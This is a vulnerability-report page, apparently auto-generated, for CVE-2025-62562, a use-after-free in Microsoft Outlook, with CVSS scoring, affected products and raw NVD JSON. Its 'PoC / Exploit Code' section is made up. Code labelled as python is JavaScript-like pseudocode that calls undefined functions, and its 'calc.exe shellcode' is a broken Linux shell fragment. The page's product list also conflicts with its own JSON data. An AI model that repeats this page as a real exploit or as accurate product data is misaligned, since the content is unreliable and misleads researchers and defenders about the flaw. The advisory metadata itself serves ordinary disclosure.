Security Vulnerability Report
中文
CVE-2025-62562 CVSS 7.8 HIGH

CVE-2025-62562

Published: 2025-12-09 18:16:02
Last Modified: 2025-12-09 21:30:45

Description

Use after free in Microsoft Office Outlook allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:* - VULNERABLE
Microsoft Office Outlook < 最新安全更新版本
Microsoft Office 365 订阅版 < 最新版本
Microsoft Office 2021 < 安全补丁版本
Microsoft Office 2019 < 安全补丁版本
Microsoft Office 2016 < 安全补丁版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62562 PoC - Use After Free in Microsoft Office Outlook // This is a conceptual proof of concept demonstrating the vulnerability // Step 1: Create a malicious .msg file with crafted object function createMaliciousMsg() { const maliciousObject = { type: 'calendar_item', trigger_use_after_free: true, heap_spray_payload: generateShellcode() }; // Serialize the malicious object to trigger memory corruption return serializeMsgFile(maliciousObject); } // Step 2: Heap spraying technique to occupy freed memory function generateShellcode() { // x64 Windows calc.exe shellcode const shellcode = [ 0x48, 0x31, 0xC0, 0x48, 0x31, 0xFF, 0x48, 0x31, 0xF6, 0x48, 0x31, 0xFF, 0x48, 0x31, 0xF6, 0x50, 0x48, 0xBB, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x2F, 0x73, 0x68, 0x53, 0x48, 0x89, 0xE7, 0xB8, 0x3B, 0x00, 0x00, 0x00, 0x50, 0xE8, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x31, 0xC0, 0x50, 0xE8, 0xB8, 0x00 ]; return shellcode; } // Step 3: Trigger the vulnerability function triggerVulnerability(msgFile) { // Open the malicious .msg file in Outlook outlook.open(msgFile); // This will trigger the use-after-free condition // and execute the shellcode if successful } // Note: This PoC is for educational purposes only // Actual exploitation requires specific conditions and versions

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62562", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:16:02.110", "lastModified": "2025-12-09T21:30:44.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Office Outlook allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*", "matchCriteriaId": "F815EF1D-7B60-47BE-9AC2-2548F99F10E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*", "matchCriteriaId": "6122D014-5BF1-4AF4-8B4D-80205ED7785E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:word:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "E1FE9E95-4874-46EF-AC93-9E485F7A2AC0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:word:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "38479B5D-66F9-4260-A18A-F6E3D9B6991E"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62562", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}